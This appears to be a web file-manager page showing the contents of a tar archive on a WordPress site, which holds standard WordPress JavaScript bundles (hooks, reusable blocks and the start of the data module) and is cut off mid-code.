Файловый менеджер - Редактировать - /var/www/mpgrup.4286.w4261/site142006/wp-includes/js/jquery/cev6im/dist.tar
Назад
hooks.js 0000664 00000050317 15061233506 0006236 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { actions: () => (/* binding */ actions), addAction: () => (/* binding */ addAction), addFilter: () => (/* binding */ addFilter), applyFilters: () => (/* binding */ applyFilters), applyFiltersAsync: () => (/* binding */ applyFiltersAsync), createHooks: () => (/* reexport */ build_module_createHooks), currentAction: () => (/* binding */ currentAction), currentFilter: () => (/* binding */ currentFilter), defaultHooks: () => (/* binding */ defaultHooks), didAction: () => (/* binding */ didAction), didFilter: () => (/* binding */ didFilter), doAction: () => (/* binding */ doAction), doActionAsync: () => (/* binding */ doActionAsync), doingAction: () => (/* binding */ doingAction), doingFilter: () => (/* binding */ doingFilter), filters: () => (/* binding */ filters), hasAction: () => (/* binding */ hasAction), hasFilter: () => (/* binding */ hasFilter), removeAction: () => (/* binding */ removeAction), removeAllActions: () => (/* binding */ removeAllActions), removeAllFilters: () => (/* binding */ removeAllFilters), removeFilter: () => (/* binding */ removeFilter) }); ;// ./node_modules/@wordpress/hooks/build-module/validateNamespace.js /** * Validate a namespace string. * * @param {string} namespace The namespace to validate - should take the form * `vendor/plugin/function`. * * @return {boolean} Whether the namespace is valid. */ function validateNamespace(namespace) { if ('string' !== typeof namespace || '' === namespace) { // eslint-disable-next-line no-console console.error('The namespace must be a non-empty string.'); return false; } if (!/^[a-zA-Z][a-zA-Z0-9_.\-\/]*$/.test(namespace)) { // eslint-disable-next-line no-console console.error('The namespace can only contain numbers, letters, dashes, periods, underscores and slashes.'); return false; } return true; } /* harmony default export */ const build_module_validateNamespace = (validateNamespace); ;// ./node_modules/@wordpress/hooks/build-module/validateHookName.js /** * Validate a hookName string. * * @param {string} hookName The hook name to validate. Should be a non empty string containing * only numbers, letters, dashes, periods and underscores. Also, * the hook name cannot begin with `__`. * * @return {boolean} Whether the hook name is valid. */ function validateHookName(hookName) { if ('string' !== typeof hookName || '' === hookName) { // eslint-disable-next-line no-console console.error('The hook name must be a non-empty string.'); return false; } if (/^__/.test(hookName)) { // eslint-disable-next-line no-console console.error('The hook name cannot begin with `__`.'); return false; } if (!/^[a-zA-Z][a-zA-Z0-9_.-]*$/.test(hookName)) { // eslint-disable-next-line no-console console.error('The hook name can only contain numbers, letters, dashes, periods and underscores.'); return false; } return true; } /* harmony default export */ const build_module_validateHookName = (validateHookName); ;// ./node_modules/@wordpress/hooks/build-module/createAddHook.js /** * Internal dependencies */ /** * @callback AddHook * * Adds the hook to the appropriate hooks container. * * @param {string} hookName Name of hook to add * @param {string} namespace The unique namespace identifying the callback in the form `vendor/plugin/function`. * @param {import('.').Callback} callback Function to call when the hook is run * @param {number} [priority=10] Priority of this hook */ /** * Returns a function which, when invoked, will add a hook. * * @param {import('.').Hooks} hooks Hooks instance. * @param {import('.').StoreKey} storeKey * * @return {AddHook} Function that adds a new hook. */ function createAddHook(hooks, storeKey) { return function addHook(hookName, namespace, callback, priority = 10) { const hooksStore = hooks[storeKey]; if (!build_module_validateHookName(hookName)) { return; } if (!build_module_validateNamespace(namespace)) { return; } if ('function' !== typeof callback) { // eslint-disable-next-line no-console console.error('The hook callback must be a function.'); return; } // Validate numeric priority if ('number' !== typeof priority) { // eslint-disable-next-line no-console console.error('If specified, the hook priority must be a number.'); return; } const handler = { callback, priority, namespace }; if (hooksStore[hookName]) { // Find the correct insert index of the new hook. const handlers = hooksStore[hookName].handlers; /** @type {number} */ let i; for (i = handlers.length; i > 0; i--) { if (priority >= handlers[i - 1].priority) { break; } } if (i === handlers.length) { // If append, operate via direct assignment. handlers[i] = handler; } else { // Otherwise, insert before index via splice. handlers.splice(i, 0, handler); } // We may also be currently executing this hook. If the callback // we're adding would come after the current callback, there's no // problem; otherwise we need to increase the execution index of // any other runs by 1 to account for the added element. hooksStore.__current.forEach(hookInfo => { if (hookInfo.name === hookName && hookInfo.currentIndex >= i) { hookInfo.currentIndex++; } }); } else { // This is the first hook of its type. hooksStore[hookName] = { handlers: [handler], runs: 0 }; } if (hookName !== 'hookAdded') { hooks.doAction('hookAdded', hookName, namespace, callback, priority); } }; } /* harmony default export */ const build_module_createAddHook = (createAddHook); ;// ./node_modules/@wordpress/hooks/build-module/createRemoveHook.js /** * Internal dependencies */ /** * @callback RemoveHook * Removes the specified callback (or all callbacks) from the hook with a given hookName * and namespace. * * @param {string} hookName The name of the hook to modify. * @param {string} namespace The unique namespace identifying the callback in the * form `vendor/plugin/function`. * * @return {number | undefined} The number of callbacks removed. */ /** * Returns a function which, when invoked, will remove a specified hook or all * hooks by the given name. * * @param {import('.').Hooks} hooks Hooks instance. * @param {import('.').StoreKey} storeKey * @param {boolean} [removeAll=false] Whether to remove all callbacks for a hookName, * without regard to namespace. Used to create * `removeAll*` functions. * * @return {RemoveHook} Function that removes hooks. */ function createRemoveHook(hooks, storeKey, removeAll = false) { return function removeHook(hookName, namespace) { const hooksStore = hooks[storeKey]; if (!build_module_validateHookName(hookName)) { return; } if (!removeAll && !build_module_validateNamespace(namespace)) { return; } // Bail if no hooks exist by this name. if (!hooksStore[hookName]) { return 0; } let handlersRemoved = 0; if (removeAll) { handlersRemoved = hooksStore[hookName].handlers.length; hooksStore[hookName] = { runs: hooksStore[hookName].runs, handlers: [] }; } else { // Try to find the specified callback to remove. const handlers = hooksStore[hookName].handlers; for (let i = handlers.length - 1; i >= 0; i--) { if (handlers[i].namespace === namespace) { handlers.splice(i, 1); handlersRemoved++; // This callback may also be part of a hook that is // currently executing. If the callback we're removing // comes after the current callback, there's no problem; // otherwise we need to decrease the execution index of any // other runs by 1 to account for the removed element. hooksStore.__current.forEach(hookInfo => { if (hookInfo.name === hookName && hookInfo.currentIndex >= i) { hookInfo.currentIndex--; } }); } } } if (hookName !== 'hookRemoved') { hooks.doAction('hookRemoved', hookName, namespace); } return handlersRemoved; }; } /* harmony default export */ const build_module_createRemoveHook = (createRemoveHook); ;// ./node_modules/@wordpress/hooks/build-module/createHasHook.js /** * @callback HasHook * * Returns whether any handlers are attached for the given hookName and optional namespace. * * @param {string} hookName The name of the hook to check for. * @param {string} [namespace] Optional. The unique namespace identifying the callback * in the form `vendor/plugin/function`. * * @return {boolean} Whether there are handlers that are attached to the given hook. */ /** * Returns a function which, when invoked, will return whether any handlers are * attached to a particular hook. * * @param {import('.').Hooks} hooks Hooks instance. * @param {import('.').StoreKey} storeKey * * @return {HasHook} Function that returns whether any handlers are * attached to a particular hook and optional namespace. */ function createHasHook(hooks, storeKey) { return function hasHook(hookName, namespace) { const hooksStore = hooks[storeKey]; // Use the namespace if provided. if ('undefined' !== typeof namespace) { return hookName in hooksStore && hooksStore[hookName].handlers.some(hook => hook.namespace === namespace); } return hookName in hooksStore; }; } /* harmony default export */ const build_module_createHasHook = (createHasHook); ;// ./node_modules/@wordpress/hooks/build-module/createRunHook.js /** * Returns a function which, when invoked, will execute all callbacks * registered to a hook of the specified type, optionally returning the final * value of the call chain. * * @param {import('.').Hooks} hooks Hooks instance. * @param {import('.').StoreKey} storeKey * @param {boolean} returnFirstArg Whether each hook callback is expected to return its first argument. * @param {boolean} async Whether the hook callback should be run asynchronously * * @return {(hookName:string, ...args: unknown[]) => undefined|unknown} Function that runs hook callbacks. */ function createRunHook(hooks, storeKey, returnFirstArg, async) { return function runHook(hookName, ...args) { const hooksStore = hooks[storeKey]; if (!hooksStore[hookName]) { hooksStore[hookName] = { handlers: [], runs: 0 }; } hooksStore[hookName].runs++; const handlers = hooksStore[hookName].handlers; // The following code is stripped from production builds. if (false) {} if (!handlers || !handlers.length) { return returnFirstArg ? args[0] : undefined; } const hookInfo = { name: hookName, currentIndex: 0 }; async function asyncRunner() { try { hooksStore.__current.add(hookInfo); let result = returnFirstArg ? args[0] : undefined; while (hookInfo.currentIndex < handlers.length) { const handler = handlers[hookInfo.currentIndex]; result = await handler.callback.apply(null, args); if (returnFirstArg) { args[0] = result; } hookInfo.currentIndex++; } return returnFirstArg ? result : undefined; } finally { hooksStore.__current.delete(hookInfo); } } function syncRunner() { try { hooksStore.__current.add(hookInfo); let result = returnFirstArg ? args[0] : undefined; while (hookInfo.currentIndex < handlers.length) { const handler = handlers[hookInfo.currentIndex]; result = handler.callback.apply(null, args); if (returnFirstArg) { args[0] = result; } hookInfo.currentIndex++; } return returnFirstArg ? result : undefined; } finally { hooksStore.__current.delete(hookInfo); } } return (async ? asyncRunner : syncRunner)(); }; } /* harmony default export */ const build_module_createRunHook = (createRunHook); ;// ./node_modules/@wordpress/hooks/build-module/createCurrentHook.js /** * Returns a function which, when invoked, will return the name of the * currently running hook, or `null` if no hook of the given type is currently * running. * * @param {import('.').Hooks} hooks Hooks instance. * @param {import('.').StoreKey} storeKey * * @return {() => string | null} Function that returns the current hook name or null. */ function createCurrentHook(hooks, storeKey) { return function currentHook() { var _currentArray$at$name; const hooksStore = hooks[storeKey]; const currentArray = Array.from(hooksStore.__current); return (_currentArray$at$name = currentArray.at(-1)?.name) !== null && _currentArray$at$name !== void 0 ? _currentArray$at$name : null; }; } /* harmony default export */ const build_module_createCurrentHook = (createCurrentHook); ;// ./node_modules/@wordpress/hooks/build-module/createDoingHook.js /** * @callback DoingHook * Returns whether a hook is currently being executed. * * @param {string} [hookName] The name of the hook to check for. If * omitted, will check for any hook being executed. * * @return {boolean} Whether the hook is being executed. */ /** * Returns a function which, when invoked, will return whether a hook is * currently being executed. * * @param {import('.').Hooks} hooks Hooks instance. * @param {import('.').StoreKey} storeKey * * @return {DoingHook} Function that returns whether a hook is currently * being executed. */ function createDoingHook(hooks, storeKey) { return function doingHook(hookName) { const hooksStore = hooks[storeKey]; // If the hookName was not passed, check for any current hook. if ('undefined' === typeof hookName) { return hooksStore.__current.size > 0; } // Find if the `hookName` hook is in `__current`. return Array.from(hooksStore.__current).some(hook => hook.name === hookName); }; } /* harmony default export */ const build_module_createDoingHook = (createDoingHook); ;// ./node_modules/@wordpress/hooks/build-module/createDidHook.js /** * Internal dependencies */ /** * @callback DidHook * * Returns the number of times an action has been fired. * * @param {string} hookName The hook name to check. * * @return {number | undefined} The number of times the hook has run. */ /** * Returns a function which, when invoked, will return the number of times a * hook has been called. * * @param {import('.').Hooks} hooks Hooks instance. * @param {import('.').StoreKey} storeKey * * @return {DidHook} Function that returns a hook's call count. */ function createDidHook(hooks, storeKey) { return function didHook(hookName) { const hooksStore = hooks[storeKey]; if (!build_module_validateHookName(hookName)) { return; } return hooksStore[hookName] && hooksStore[hookName].runs ? hooksStore[hookName].runs : 0; }; } /* harmony default export */ const build_module_createDidHook = (createDidHook); ;// ./node_modules/@wordpress/hooks/build-module/createHooks.js /** * Internal dependencies */ /** * Internal class for constructing hooks. Use `createHooks()` function * * Note, it is necessary to expose this class to make its type public. * * @private */ class _Hooks { constructor() { /** @type {import('.').Store} actions */ this.actions = Object.create(null); this.actions.__current = new Set(); /** @type {import('.').Store} filters */ this.filters = Object.create(null); this.filters.__current = new Set(); this.addAction = build_module_createAddHook(this, 'actions'); this.addFilter = build_module_createAddHook(this, 'filters'); this.removeAction = build_module_createRemoveHook(this, 'actions'); this.removeFilter = build_module_createRemoveHook(this, 'filters'); this.hasAction = build_module_createHasHook(this, 'actions'); this.hasFilter = build_module_createHasHook(this, 'filters'); this.removeAllActions = build_module_createRemoveHook(this, 'actions', true); this.removeAllFilters = build_module_createRemoveHook(this, 'filters', true); this.doAction = build_module_createRunHook(this, 'actions', false, false); this.doActionAsync = build_module_createRunHook(this, 'actions', false, true); this.applyFilters = build_module_createRunHook(this, 'filters', true, false); this.applyFiltersAsync = build_module_createRunHook(this, 'filters', true, true); this.currentAction = build_module_createCurrentHook(this, 'actions'); this.currentFilter = build_module_createCurrentHook(this, 'filters'); this.doingAction = build_module_createDoingHook(this, 'actions'); this.doingFilter = build_module_createDoingHook(this, 'filters'); this.didAction = build_module_createDidHook(this, 'actions'); this.didFilter = build_module_createDidHook(this, 'filters'); } } /** @typedef {_Hooks} Hooks */ /** * Returns an instance of the hooks object. * * @return {Hooks} A Hooks instance. */ function createHooks() { return new _Hooks(); } /* harmony default export */ const build_module_createHooks = (createHooks); ;// ./node_modules/@wordpress/hooks/build-module/index.js /** * Internal dependencies */ /** @typedef {(...args: any[])=>any} Callback */ /** * @typedef Handler * @property {Callback} callback The callback * @property {string} namespace The namespace * @property {number} priority The namespace */ /** * @typedef Hook * @property {Handler[]} handlers Array of handlers * @property {number} runs Run counter */ /** * @typedef Current * @property {string} name Hook name * @property {number} currentIndex The index */ /** * @typedef {Record<string, Hook> & {__current: Set<Current>}} Store */ /** * @typedef {'actions' | 'filters'} StoreKey */ /** * @typedef {import('./createHooks').Hooks} Hooks */ const defaultHooks = build_module_createHooks(); const { addAction, addFilter, removeAction, removeFilter, hasAction, hasFilter, removeAllActions, removeAllFilters, doAction, doActionAsync, applyFilters, applyFiltersAsync, currentAction, currentFilter, doingAction, doingFilter, didAction, didFilter, actions, filters } = defaultHooks; (window.wp = window.wp || {}).hooks = __webpack_exports__; /******/ })() ; reusable-blocks.min.js 0000664 00000013740 15061233506 0010751 0 ustar 00 /*! This file is auto-generated */ (()=>{"use strict";var e={d:(t,n)=>{for(var o in n)e.o(n,o)&&!e.o(t,o)&&Object.defineProperty(t,o,{enumerable:!0,get:n[o]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{ReusableBlocksMenuItems:()=>S,store:()=>k});var n={};e.r(n),e.d(n,{__experimentalConvertBlockToStatic:()=>i,__experimentalConvertBlocksToReusable:()=>a,__experimentalDeleteReusableBlock:()=>d,__experimentalSetEditingReusableBlock:()=>p});var o={};e.r(o),e.d(o,{__experimentalIsEditingReusableBlock:()=>_});const s=window.wp.data,r=window.wp.blockEditor,c=window.wp.blocks,l=window.wp.i18n,i=e=>({registry:t})=>{const n=t.select(r.store).getBlock(e),o=t.select("core").getEditedEntityRecord("postType","wp_block",n.attributes.ref),s=(0,c.parse)("function"==typeof o.content?o.content(o):o.content);t.dispatch(r.store).replaceBlocks(n.clientId,s)},a=(e,t,n)=>async({registry:o,dispatch:s})=>{const i="unsynced"===n?{wp_pattern_sync_status:n}:void 0,a={title:t||(0,l.__)("Untitled pattern block"),content:(0,c.serialize)(o.select(r.store).getBlocksByClientId(e)),status:"publish",meta:i},d=await o.dispatch("core").saveEntityRecord("postType","wp_block",a);if("unsynced"===n)return;const p=(0,c.createBlock)("core/block",{ref:d.id});o.dispatch(r.store).replaceBlocks(e,p),s.__experimentalSetEditingReusableBlock(p.clientId,!0)},d=e=>async({registry:t})=>{if(!t.select("core").getEditedEntityRecord("postType","wp_block",e))return;const n=t.select(r.store).getBlocks().filter((t=>(0,c.isReusableBlock)(t)&&t.attributes.ref===e)).map((e=>e.clientId));n.length&&t.dispatch(r.store).removeBlocks(n),await t.dispatch("core").deleteEntityRecord("postType","wp_block",e)};function p(e,t){return{type:"SET_EDITING_REUSABLE_BLOCK",clientId:e,isEditing:t}}const u=(0,s.combineReducers)({isEditingReusableBlock:function(e={},t){return"SET_EDITING_REUSABLE_BLOCK"===t?.type?{...e,[t.clientId]:t.isEditing}:e}});function _(e,t){return e.isEditingReusableBlock[t]}const k=(0,s.createReduxStore)("core/reusable-blocks",{actions:n,reducer:u,selectors:o});(0,s.register)(k);const b=window.wp.element,w=window.wp.components,m=window.wp.primitives,y=window.ReactJSXRuntime,g=(0,y.jsx)(m.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,y.jsx)(m.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})}),h=window.wp.notices,x=window.wp.coreData;function B({clientIds:e,rootClientId:t,onClose:n}){const[o,i]=(0,b.useState)(void 0),[a,d]=(0,b.useState)(!1),[p,u]=(0,b.useState)(""),_=(0,s.useSelect)((n=>{var o;const{canUser:s}=n(x.store),{getBlocksByClientId:l,canInsertBlockType:i,getBlockRootClientId:a}=n(r.store),d=t||(e.length>0?a(e[0]):void 0),p=null!==(o=l(e))&&void 0!==o?o:[];return!(1===p.length&&p[0]&&(0,c.isReusableBlock)(p[0])&&!!n(x.store).getEntityRecord("postType","wp_block",p[0].attributes.ref))&&i("core/block",d)&&p.every((e=>!!e&&e.isValid&&(0,c.hasBlockSupport)(e.name,"reusable",!0)))&&!!s("create",{kind:"postType",name:"wp_block"})}),[e,t]),{__experimentalConvertBlocksToReusable:m}=(0,s.useDispatch)(k),{createSuccessNotice:B,createErrorNotice:v}=(0,s.useDispatch)(h.store),C=(0,b.useCallback)((async function(t){try{await m(e,t,o),B(o?(0,l.sprintf)((0,l.__)("Unsynced pattern created: %s"),t):(0,l.sprintf)((0,l.__)("Synced pattern created: %s"),t),{type:"snackbar",id:"convert-to-reusable-block-success"})}catch(e){v(e.message,{type:"snackbar",id:"convert-to-reusable-block-error"})}}),[m,e,o,B,v]);return _?(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(w.MenuItem,{icon:g,onClick:()=>d(!0),children:(0,l.__)("Create pattern")}),a&&(0,y.jsx)(w.Modal,{title:(0,l.__)("Create pattern"),onRequestClose:()=>{d(!1),u("")},overlayClassName:"reusable-blocks-menu-items__convert-modal",children:(0,y.jsx)("form",{onSubmit:e=>{e.preventDefault(),C(p),d(!1),u(""),n()},children:(0,y.jsxs)(w.__experimentalVStack,{spacing:"5",children:[(0,y.jsx)(w.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,l.__)("Name"),value:p,onChange:u,placeholder:(0,l.__)("My pattern")}),(0,y.jsx)(w.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,l._x)("Synced","pattern (singular)"),help:(0,l.__)("Sync this pattern across multiple locations."),checked:!o,onChange:()=>{i(o?void 0:"unsynced")}}),(0,y.jsxs)(w.__experimentalHStack,{justify:"right",children:[(0,y.jsx)(w.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>{d(!1),u("")},children:(0,l.__)("Cancel")}),(0,y.jsx)(w.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",children:(0,l.__)("Create")})]})]})})})]}):null}const v=window.wp.url;const C=function({clientId:e}){const{canRemove:t,isVisible:n,managePatternsUrl:o}=(0,s.useSelect)((t=>{const{getBlock:n,canRemoveBlock:o,getBlockCount:s}=t(r.store),{canUser:l}=t(x.store),i=n(e);return{canRemove:o(e),isVisible:!!i&&(0,c.isReusableBlock)(i)&&!!l("update",{kind:"postType",name:"wp_block",id:i.attributes.ref}),innerBlockCount:s(e),managePatternsUrl:l("create",{kind:"postType",name:"wp_template"})?(0,v.addQueryArgs)("site-editor.php",{path:"/patterns"}):(0,v.addQueryArgs)("edit.php",{post_type:"wp_block"})}}),[e]),{__experimentalConvertBlockToStatic:i}=(0,s.useDispatch)(k);return n?(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(w.MenuItem,{href:o,children:(0,l.__)("Manage patterns")}),t&&(0,y.jsx)(w.MenuItem,{onClick:()=>i(e),children:(0,l.__)("Detach")})]}):null};function S({rootClientId:e}){return(0,y.jsx)(r.BlockSettingsMenuControls,{children:({onClose:t,selectedClientIds:n})=>(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(B,{clientIds:n,rootClientId:e,onClose:t}),1===n.length&&(0,y.jsx)(C,{clientId:n[0]})]})})}(window.wp=window.wp||{}).reusableBlocks=t})(); data.js 0000664 00000433063 15061233506 0006027 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ var __webpack_modules__ = ({ /***/ 66: /***/ ((module) => { var isMergeableObject = function isMergeableObject(value) { return isNonNullObject(value) && !isSpecial(value) }; function isNonNullObject(value) { return !!value && typeof value === 'object' } function isSpecial(value) { var stringValue = Object.prototype.toString.call(value); return stringValue === '[object RegExp]' || stringValue === '[object Date]' || isReactElement(value) } // see https://github.com/facebook/react/blob/b5ac963fb791d1298e7f396236383bc955f916c1/src/isomorphic/classic/element/ReactElement.js#L21-L25 var canUseSymbol = typeof Symbol === 'function' && Symbol.for; var REACT_ELEMENT_TYPE = canUseSymbol ? Symbol.for('react.element') : 0xeac7; function isReactElement(value) { return value.$$typeof === REACT_ELEMENT_TYPE } function emptyTarget(val) { return Array.isArray(val) ? [] : {} } function cloneUnlessOtherwiseSpecified(value, options) { return (options.clone !== false && options.isMergeableObject(value)) ? deepmerge(emptyTarget(value), value, options) : value } function defaultArrayMerge(target, source, options) { return target.concat(source).map(function(element) { return cloneUnlessOtherwiseSpecified(element, options) }) } function getMergeFunction(key, options) { if (!options.customMerge) { return deepmerge } var customMerge = options.customMerge(key); return typeof customMerge === 'function' ? customMerge : deepmerge } function getEnumerableOwnPropertySymbols(target) { return Object.getOwnPropertySymbols ? Object.getOwnPropertySymbols(target).filter(function(symbol) { return Object.propertyIsEnumerable.call(target, symbol) }) : [] } function getKeys(target) { return Object.keys(target).concat(getEnumerableOwnPropertySymbols(target)) } function propertyIsOnObject(object, property) { try { return property in object } catch(_) { return false } } // Protects from prototype poisoning and unexpected merging up the prototype chain. function propertyIsUnsafe(target, key) { return propertyIsOnObject(target, key) // Properties are safe to merge if they don't exist in the target yet, && !(Object.hasOwnProperty.call(target, key) // unsafe if they exist up the prototype chain, && Object.propertyIsEnumerable.call(target, key)) // and also unsafe if they're nonenumerable. } function mergeObject(target, source, options) { var destination = {}; if (options.isMergeableObject(target)) { getKeys(target).forEach(function(key) { destination[key] = cloneUnlessOtherwiseSpecified(target[key], options); }); } getKeys(source).forEach(function(key) { if (propertyIsUnsafe(target, key)) { return } if (propertyIsOnObject(target, key) && options.isMergeableObject(source[key])) { destination[key] = getMergeFunction(key, options)(target[key], source[key], options); } else { destination[key] = cloneUnlessOtherwiseSpecified(source[key], options); } }); return destination } function deepmerge(target, source, options) { options = options || {}; options.arrayMerge = options.arrayMerge || defaultArrayMerge; options.isMergeableObject = options.isMergeableObject || isMergeableObject; // cloneUnlessOtherwiseSpecified is added to `options` so that custom arrayMerge() // implementations can use it. The caller may not replace it. options.cloneUnlessOtherwiseSpecified = cloneUnlessOtherwiseSpecified; var sourceIsArray = Array.isArray(source); var targetIsArray = Array.isArray(target); var sourceAndTargetTypesMatch = sourceIsArray === targetIsArray; if (!sourceAndTargetTypesMatch) { return cloneUnlessOtherwiseSpecified(source, options) } else if (sourceIsArray) { return options.arrayMerge(target, source, options) } else { return mergeObject(target, source, options) } } deepmerge.all = function deepmergeAll(array, options) { if (!Array.isArray(array)) { throw new Error('first argument should be an array') } return array.reduce(function(prev, next) { return deepmerge(prev, next, options) }, {}) }; var deepmerge_1 = deepmerge; module.exports = deepmerge_1; /***/ }), /***/ 3249: /***/ ((module) => { function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function (obj) { return typeof obj; }; } else { _typeof = function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * Given an instance of EquivalentKeyMap, returns its internal value pair tuple * for a key, if one exists. The tuple members consist of the last reference * value for the key (used in efficient subsequent lookups) and the value * assigned for the key at the leaf node. * * @param {EquivalentKeyMap} instance EquivalentKeyMap instance. * @param {*} key The key for which to return value pair. * * @return {?Array} Value pair, if exists. */ function getValuePair(instance, key) { var _map = instance._map, _arrayTreeMap = instance._arrayTreeMap, _objectTreeMap = instance._objectTreeMap; // Map keeps a reference to the last object-like key used to set the // value, which can be used to shortcut immediately to the value. if (_map.has(key)) { return _map.get(key); } // Sort keys to ensure stable retrieval from tree. var properties = Object.keys(key).sort(); // Tree by type to avoid conflicts on numeric object keys, empty value. var map = Array.isArray(key) ? _arrayTreeMap : _objectTreeMap; for (var i = 0; i < properties.length; i++) { var property = properties[i]; map = map.get(property); if (map === undefined) { return; } var propertyValue = key[property]; map = map.get(propertyValue); if (map === undefined) { return; } } var valuePair = map.get('_ekm_value'); if (!valuePair) { return; } // If reached, it implies that an object-like key was set with another // reference, so delete the reference and replace with the current. _map.delete(valuePair[0]); valuePair[0] = key; map.set('_ekm_value', valuePair); _map.set(key, valuePair); return valuePair; } /** * Variant of a Map object which enables lookup by equivalent (deeply equal) * object and array keys. */ var EquivalentKeyMap = /*#__PURE__*/ function () { /** * Constructs a new instance of EquivalentKeyMap. * * @param {Iterable.<*>} iterable Initial pair of key, value for map. */ function EquivalentKeyMap(iterable) { _classCallCheck(this, EquivalentKeyMap); this.clear(); if (iterable instanceof EquivalentKeyMap) { // Map#forEach is only means of iterating with support for IE11. var iterablePairs = []; iterable.forEach(function (value, key) { iterablePairs.push([key, value]); }); iterable = iterablePairs; } if (iterable != null) { for (var i = 0; i < iterable.length; i++) { this.set(iterable[i][0], iterable[i][1]); } } } /** * Accessor property returning the number of elements. * * @return {number} Number of elements. */ _createClass(EquivalentKeyMap, [{ key: "set", /** * Add or update an element with a specified key and value. * * @param {*} key The key of the element to add. * @param {*} value The value of the element to add. * * @return {EquivalentKeyMap} Map instance. */ value: function set(key, value) { // Shortcut non-object-like to set on internal Map. if (key === null || _typeof(key) !== 'object') { this._map.set(key, value); return this; } // Sort keys to ensure stable assignment into tree. var properties = Object.keys(key).sort(); var valuePair = [key, value]; // Tree by type to avoid conflicts on numeric object keys, empty value. var map = Array.isArray(key) ? this._arrayTreeMap : this._objectTreeMap; for (var i = 0; i < properties.length; i++) { var property = properties[i]; if (!map.has(property)) { map.set(property, new EquivalentKeyMap()); } map = map.get(property); var propertyValue = key[property]; if (!map.has(propertyValue)) { map.set(propertyValue, new EquivalentKeyMap()); } map = map.get(propertyValue); } // If an _ekm_value exists, there was already an equivalent key. Before // overriding, ensure that the old key reference is removed from map to // avoid memory leak of accumulating equivalent keys. This is, in a // sense, a poor man's WeakMap, while still enabling iterability. var previousValuePair = map.get('_ekm_value'); if (previousValuePair) { this._map.delete(previousValuePair[0]); } map.set('_ekm_value', valuePair); this._map.set(key, valuePair); return this; } /** * Returns a specified element. * * @param {*} key The key of the element to return. * * @return {?*} The element associated with the specified key or undefined * if the key can't be found. */ }, { key: "get", value: function get(key) { // Shortcut non-object-like to get from internal Map. if (key === null || _typeof(key) !== 'object') { return this._map.get(key); } var valuePair = getValuePair(this, key); if (valuePair) { return valuePair[1]; } } /** * Returns a boolean indicating whether an element with the specified key * exists or not. * * @param {*} key The key of the element to test for presence. * * @return {boolean} Whether an element with the specified key exists. */ }, { key: "has", value: function has(key) { if (key === null || _typeof(key) !== 'object') { return this._map.has(key); } // Test on the _presence_ of the pair, not its value, as even undefined // can be a valid member value for a key. return getValuePair(this, key) !== undefined; } /** * Removes the specified element. * * @param {*} key The key of the element to remove. * * @return {boolean} Returns true if an element existed and has been * removed, or false if the element does not exist. */ }, { key: "delete", value: function _delete(key) { if (!this.has(key)) { return false; } // This naive implementation will leave orphaned child trees. A better // implementation should traverse and remove orphans. this.set(key, undefined); return true; } /** * Executes a provided function once per each key/value pair, in insertion * order. * * @param {Function} callback Function to execute for each element. * @param {*} thisArg Value to use as `this` when executing * `callback`. */ }, { key: "forEach", value: function forEach(callback) { var _this = this; var thisArg = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this; this._map.forEach(function (value, key) { // Unwrap value from object-like value pair. if (key !== null && _typeof(key) === 'object') { 